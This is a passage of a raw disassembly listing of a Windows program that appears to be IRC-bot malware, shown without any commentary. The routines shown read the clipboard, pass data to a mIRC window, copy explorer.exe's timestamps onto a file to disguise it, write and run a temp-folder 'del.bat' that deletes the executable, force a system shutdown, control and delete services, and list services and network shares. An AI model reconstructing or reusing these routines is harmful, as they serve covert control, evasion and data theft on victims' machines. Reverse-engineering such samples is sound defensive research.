sub_40FACF endp ; --------------------------------------------------------------------------- db 0Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FB1A proc near ; CODE XREF: sub_401131j arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_417C24 cmp al, 61h pop ecx jl short loc_40FB35 cmp al, 7Ah jg short loc_40FB35 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40FB35: ; CODE XREF: sub_40FB1A+Ej ; sub_40FB1A+12j xor eax, eax retn sub_40FB1A endp ; --------------------------------------------------------------------------- db 7 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB3F proc near ; CODE XREF: sub_40121Cj var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_416880 push ebx push esi push edi push [ebp+arg_0] call sub_4158E0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_4158E0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40122B add esp, 14h dec esi mov edi, esi loc_40FB7D: ; CODE XREF: sub_40FB3F+B6j test esi, esi jle short loc_40FBFB mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_417C24 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_417C24 pop ecx cmp eax, ebx pop ecx jz short loc_40FBF3 loc_40FBA3: ; CODE XREF: sub_40FB3F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_401131 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40FBC4 mov eax, ecx loc_40FBC4: ; CODE XREF: sub_40FB3F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40FBF7 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_417C24 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_417C24 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40FBA3 loc_40FBF3: ; CODE XREF: sub_40FB3F+62j dec edi dec esi jmp short loc_40FB7D ; --------------------------------------------------------------------------- loc_40FBF7: ; CODE XREF: sub_40FB3F+8Aj xor eax, eax jmp short loc_40FC00 ; --------------------------------------------------------------------------- loc_40FBFB: ; CODE XREF: sub_40FB3F+40j mov eax, [ebp+arg_0] add eax, edi loc_40FC00: ; CODE XREF: sub_40FB3F+BAj pop edi pop esi pop ebx leave retn sub_40FB3F endp ; --------------------------------------------------------------------------- db 31h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC36 proc near ; CODE XREF: sub_4010F5j var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_495328 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_4953C8 ; FormatMessageA lea eax, [ebp+var_100] loc_40FC6F: ; CODE XREF: sub_40FC36+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40FC7B cmp cl, 9 jnz short loc_40FC7E loc_40FC7B: ; CODE XREF: sub_40FC36+3Ej inc eax jmp short loc_40FC6F ; --------------------------------------------------------------------------- loc_40FC7E: ; CODE XREF: sub_40FC36+43j ; sub_40FC36+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40FC98 mov cl, [eax] cmp cl, 2Eh jz short loc_40FC7E cmp cl, 21h jl short loc_40FC7E loc_40FC98: ; CODE XREF: sub_40FC36+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_491808 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_4163D7 add esp, 18h mov eax, esi pop esi leave retn sub_40FC36 endp ; --------------------------------------------------------------------------- db 22h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FCE2 proc near ; CODE XREF: sub_4012C1j push esi push 0 call dword_49162C ; OpenClipboard test eax, eax jz short loc_40FD19 push 1 call dword_49164C ; GetClipboardData mov esi, eax test esi, esi jz short loc_40FD19 push edi push esi call ds:dword_4953D0 ; GlobalLock push esi mov edi, eax call ds:dword_4953CC ; GlobalUnlock call dword_4916B0 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40FD19: ; CODE XREF: sub_40FCE2+Bj ; sub_40FCE2+19j xor eax, eax pop esi retn sub_40FCE2 endp ; --------------------------------------------------------------------------- db 0Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FD2B proc near ; CODE XREF: sub_4011F4j arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_491668 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_40FDA7 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_4953D8 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:dword_4952E0 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_416821 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4916B8 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4916B8 ; SendMessageA push ebx call ds:dword_4953D4 ; UnmapViewOfFile push edi call ds:dword_495358 ; CloseHandle push 1 pop eax pop ebx jmp short loc_40FDA9 ; --------------------------------------------------------------------------- loc_40FDA7: ; CODE XREF: sub_40FD2B+16j xor eax, eax loc_40FDA9: ; CODE XREF: sub_40FD2B+7Aj pop edi pop esi pop ebp retn sub_40FD2B endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDCD proc near ; CODE XREF: sub_401320j var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_491718 ; SearchPathA test eax, eax jz short loc_40FE6C mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_495360 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40FE6C lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_4953E0 ; GetFileTime push ebx mov ebx, ds:dword_495358 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40FE6C lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_4953DC ; SetFileTime push esi call ebx ; CloseHandle loc_40FE6C: ; CODE XREF: sub_40FDCD+2Aj ; sub_40FDCD+51j ... pop edi pop esi pop ebx leave retn sub_40FDCD endp ; --------------------------------------------------------------------------- db 29h dup(0CCh) ; --------------------------------------------------------------------------- loc_40FE9A: ; CODE XREF: .text:00401091j push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_415CA0 push 44h lea eax, [ebp-54h] push esi push eax call sub_415CA0 push dword ptr [ebp+0Ch] lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+8] mov [ebp-24h], si push offset aSS ; "%s %s" push 400h push eax call sub_4163D7 add esp, 2Ch lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] call ds:dword_495354 ; CreateProcessA neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF37 proc near ; CODE XREF: sub_401136j push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_401262 pop ecx pop ecx push 50005h push 6 call dword_4915A4 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_40FF37 endp ; --------------------------------------------------------------------------- db 8 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF61 proc near ; CODE XREF: sub_401122j var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42C938, esi push edi jz short loc_40FF85 cmp dword_49172C, esi jnz short loc_40FF85 push esi call sub_4012FD pop ecx loc_40FF85: ; CODE XREF: sub_40FF61+13j ; sub_40FF61+1Bj call sub_401109 lea eax, [ebp+var_764] push eax push 400h call ds:dword_4953B8 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_416821 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_495360 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_4100E5 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_416821 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call ds:dword_49535C ; WriteFile push edi call ds:dword_495358 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_415CA0 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_415CA0 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_4370BC mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_4953A8 ; GetModuleHandleA push eax call ds:dword_495330 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_495374 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_41008D lea eax, [ebp+var_15C] push 80h push eax call ds:dword_4953A4 ; SetFileAttributesA loc_41008D: ; CODE XREF: sub_40FF61+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_416821 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call ds:dword_4953E4 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_495354 ; CreateProcessA loc_4100E5: ; CODE XREF: sub_40FF61+72j pop edi pop esi leave retn sub_40FF61 endp ; --------------------------------------------------------------------------- db 62h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41014B proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4101B0 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_430650[esi] push edi push eax call sub_401154 add esp, 14h test eax, eax jnz short loc_410193 push edi push off_43064C[esi] mov esi, offset dword_492134 push offset unk_4307A0 push esi call sub_416821 add esp, 10h jmp short loc_4101CD ; --------------------------------------------------------------------------- loc_410193: ; CODE XREF: sub_41014B+2Aj push eax call sub_4102BD push eax push edi mov esi, offset dword_492134 push offset unk_430764 push esi call sub_416821 add esp, 14h jmp short loc_4101CD ; --------------------------------------------------------------------------- loc_4101B0: ; CODE XREF: sub_41014B+Cj lea eax, [eax+eax*2] mov esi, offset dword_492134 push off_430648[eax*4] push offset unk_43072C push esi call sub_416821 add esp, 0Ch loc_4101CD: ; CODE XREF: sub_41014B+46j ; sub_41014B+63j mov eax, esi pop edi pop esi retn sub_41014B endp ; --------------------------------------------------------------------------- db 21h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101F3 proc near ; CODE XREF: sub_401154j var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_491650 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_41021A call ds:dword_495328 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41028F ; --------------------------------------------------------------------------- loc_41021A: ; CODE XREF: sub_4101F3+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_491544 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_41023A call ds:dword_495328 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_410287 ; --------------------------------------------------------------------------- loc_41023A: ; CODE XREF: sub_4101F3+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_41026D cmp eax, 3 jz short loc_41025E jle short loc_410280 cmp eax, 6 jg short loc_410280 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4915AC ; ControlService jmp short loc_410274 ; --------------------------------------------------------------------------- loc_41025E: ; CODE XREF: sub_4101F3+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_49154C ; StartServiceA jmp short loc_410274 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4101F3+4Dj push esi call dword_4915B0 ; DeleteService loc_410274: ; CODE XREF: sub_4101F3+69j ; sub_4101F3+78j test eax, eax jnz short loc_410280 call ds:dword_495328 ; RtlGetLastWin32Error mov ebx, eax loc_410280: ; CODE XREF: sub_4101F3+54j ; sub_4101F3+59j ... push esi call dword_491560 ; CloseServiceHandle loc_410287: ; CODE XREF: sub_4101F3+45j push edi call dword_491560 ; CloseServiceHandle pop esi loc_41028F: ; CODE XREF: sub_4101F3+25j mov eax, ebx pop edi pop ebx leave retn sub_4101F3 endp ; --------------------------------------------------------------------------- db 28h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4102BD proc near ; CODE XREF: sub_41014B+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_410372 jz loc_41036B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_410335 jz short loc_41032B mov ecx, eax sub ecx, 3 jz short loc_410321 dec ecx dec ecx jz short loc_410317 dec ecx jz short loc_41030D sub ecx, 51h jz short loc_410303 sub ecx, 24h jnz loc_4103E8 ; default ; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4103DA ; --------------------------------------------------------------------------- loc_410303: ; CODE XREF: sub_4102BD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4103DA ; --------------------------------------------------------------------------- loc_41030D: ; CODE XREF: sub_4102BD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4103DA ; --------------------------------------------------------------------------- loc_410317: ; CODE XREF: sub_4102BD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4103DA ; --------------------------------------------------------------------------- loc_410321: ; CODE XREF: sub_4102BD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4103DA ; --------------------------------------------------------------------------- loc_41032B: ; CODE XREF: sub_4102BD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4103DA ; --------------------------------------------------------------------------- loc_410335: ; CODE XREF: sub_4102BD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_410364 dec ecx jz short loc_41035D dec ecx jz short loc_410356 dec ecx jnz loc_4103E8 ; default ; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4103DA ; --------------------------------------------------------------------------- loc_410356: ; CODE XREF: sub_4102BD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_41035D: ; CODE XREF: sub_4102BD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_410364: ; CODE XREF: sub_4102BD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_41036B: ; CODE XREF: sub_4102BD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_410372: ; CODE XREF: sub_4102BD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_4103E8 ; default ; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16 jz short loc_4103D5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4103E8 ; default ; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_410429[ecx] jmp ds:off_410401[ecx*4] ; switch jump loc_410396: ; DATA XREF: .text:off_410401o push offset aTheSpecifiedDa ; jumptable 0041038F case 7 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_41039D: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheServiceDepe ; jumptable 0041038F case 17 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103A4: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheServiceDe_0 ; jumptable 0041038F case 10 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103AB: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheServiceHasB ; jumptable 0041038F case 0 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103B2: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheSpecified_0 ; jumptable 0041038F case 2 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103B9: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheServiceCoul ; jumptable 0041038F case 11 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103C0: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheServiceHa_0 ; jumptable 0041038F case 14 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103C7: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheRequested_1 ; jumptable 0041038F case 3 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103CE: ; CODE XREF: sub_4102BD+D2j ; DATA XREF: .text:off_410401o push offset aTheServiceHasN ; jumptable 0041038F case 4 jmp short loc_4103DA ; --------------------------------------------------------------------------- loc_4103D5: ; CODE XREF: sub_4102BD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4103DA: ; CODE XREF: sub_4102BD+41j ; sub_4102BD+4Bj ... push offset dword_491A74 call sub_416821 pop ecx pop ecx jmp short loc_4103FB ; --------------------------------------------------------------------------- loc_4103E8: ; CODE XREF: sub_4102BD+36j ; sub_4102BD+89j ... push eax ; default ; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_491A74 call sub_416821 add esp, 0Ch loc_4103FB: ; CODE XREF: sub_4102BD+129j mov eax, offset dword_491A74 retn sub_4102BD endp ; --------------------------------------------------------------------------- off_410401 dd offset loc_4103AB ; DATA XREF: sub_4102BD+D2r dd offset loc_4103B2 ; jump table for switch statement dd offset loc_4103C7 dd offset loc_4103CE dd offset loc_410396 dd offset loc_4103A4 dd offset loc_4103B9 dd offset loc_4103C0 dd offset loc_41039D dd offset loc_4103E8 byte_410429 db 0, 9, 1, 2 ; DATA XREF: sub_4102BD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 db 5Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41049A proc near ; CODE XREF: sub_4010E1j var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_491650 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_4104D2: ; CODE XREF: sub_41049A+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_49161C ; EnumServicesStatusA test eax, eax jnz short loc_41050C call ds:dword_495328 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_4105C0 loc_41050C: ; CODE XREF: sub_41049A+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_4105B7 lea esi, [ebp+var_188] loc_41051D: ; CODE XREF: sub_41049A+117j mov eax, [esi+8] dec eax jz short loc_410566 dec eax jz short loc_41055F dec eax jz short loc_410558 dec eax jz short loc_410551 dec eax jz short loc_41054A dec eax jz short loc_410543 dec eax jz short loc_41053C push offset aUnknown_0 ; " Unknown" jmp short loc_41056B ; --------------------------------------------------------------------------- loc_41053C: ; CODE XREF: sub_41049A+99j push offset aPaused ; " Paused" jmp short loc_41056B ; --------------------------------------------------------------------------- loc_410543: ; CODE XREF: sub_41049A+96j push offset aPausing ; " Pausing" jmp short loc_41056B ; --------------------------------------------------------------------------- loc_41054A: ; CODE XREF: sub_41049A+93j push offset aContinuing ; " Continuing" jmp short loc_41056B ; --------------------------------------------------------------------------- loc_410551: ; CODE XREF: sub_41049A+90j push offset aRunning ; " Running" jmp short loc_41056B ; --------------------------------------------------------------------------- loc_410558: ; CODE XREF: sub_41049A+8Dj push offset aStoping ; " Stoping" jmp short loc_41056B ; --------------------------------------------------------------------------- loc_41055F: ; CODE XREF: sub_41049A+8Aj push offset aStarting ; " Starting" jmp short loc_41056B ; --------------------------------------------------------------------------- loc_410566: ; CODE XREF: sub_41049A+87j push offset aStopped ; " Stopped" loc_41056B: ; CODE XREF: sub_41049A+A0j ; sub_41049A+A7j ... lea eax, [ebp+var_20] push eax call sub_416821 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_2 ; "%s: %s (%s)" push eax call sub_416821 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_41051D loc_4105B7: ; CODE XREF: sub_41049A+77j cmp [ebp+var_8], ebx jnz loc_4104D2 loc_4105C0: ; CODE XREF: sub_41049A+6Cj push [ebp+var_C] call dword_491560 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41049A endp ; --------------------------------------------------------------------------- db 4Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410626 proc near ; CODE XREF: sub_40117Cj arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4106BF mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41064F dec eax jnz short loc_41069F push edi push 0 call sub_40107D pop ecx pop ecx jmp short loc_41069B ; --------------------------------------------------------------------------- loc_41064F: ; CODE XREF: sub_410626+18j cmp [ebp+arg_8], 0 jnz short loc_41068D push 24h push edi call sub_417B60 pop ecx test eax, eax pop ecx jnz short loc_41068D push 57h pop eax loc_410666: ; CODE XREF: sub_410626+77j push eax call sub_411235 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_491D30 push off_430648[eax*4] push offset unk_430E70 push esi call sub_416821 add esp, 18h jmp short loc_4106DF ; --------------------------------------------------------------------------- loc_41068D: ; CODE XREF: sub_410626+2Dj ; sub_410626+3Bj push [ebp+arg_8] push edi push 0 call sub_40132F add esp, 0Ch loc_41069B: ; CODE XREF: sub_410626+27j test eax, eax jnz short loc_410666 loc_41069F: ; CODE XREF: sub_410626+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_491D30 push off_43064C[eax*4] push offset unk_430E44 push esi call sub_416821 add esp, 10h jmp short loc_4106DF ; --------------------------------------------------------------------------- loc_4106BF: ; CODE XREF: sub_410626+Aj mov eax, [ebp+arg_0] mov esi, offset dword_491D30 lea eax, [eax+eax*2] push off_430648[eax*4] push offset unk_430E0C push esi call sub_416821 add esp, 0Ch loc_4106DF: ; CODE XREF: sub_410626+65j ; sub_410626+97j mov eax, esi pop edi pop esi pop ebp retn sub_410626 endp ; --------------------------------------------------------------------------- db 2Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410714 proc near ; CODE XREF: sub_40114Fj arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_410721 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_410721: ; CODE XREF: sub_410714+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_4953E8 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_491F30, 1 mov ebp, eax jnz short loc_41075E or byte_491F30, 1 lea eax, [ebp+1] push eax call sub_416765 pop ecx mov dword_491CD0, eax loc_41075E: ; CODE XREF: sub_410714+32j push esi push esi push ebp push dword_491CD0 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_491CD0 pop edi pop ebp pop ebx pop esi retn sub_410714 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410794 proc near ; CODE XREF: sub_40132Fj var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_410819 push [ebp+arg_4] mov edi, eax call sub_410819 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_417B60 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_410819 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_49155C pop edi leave retn sub_410794 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410819 proc near ; CODE XREF: sub_410794+Ap ; sub_410794+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_410826 pop ebp retn ; --------------------------------------------------------------------------- loc_410826: ; CODE XREF: sub_410819+9j push ebx push esi mov esi, ds:dword_4953EC push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_416765 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_410819 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41086A proc near ; CODE XREF: sub_40107Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_410819 push [esp+8+arg_4] mov esi, eax call sub_410819 pop ecx pop ecx push 0 push eax push esi call dword_491534 pop esi retn sub_41086A endp ; --------------------------------------------------------------------------- db 8 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410895 proc near ; CODE XREF: sub_4011A9j var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_410819 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 add esp, 18h 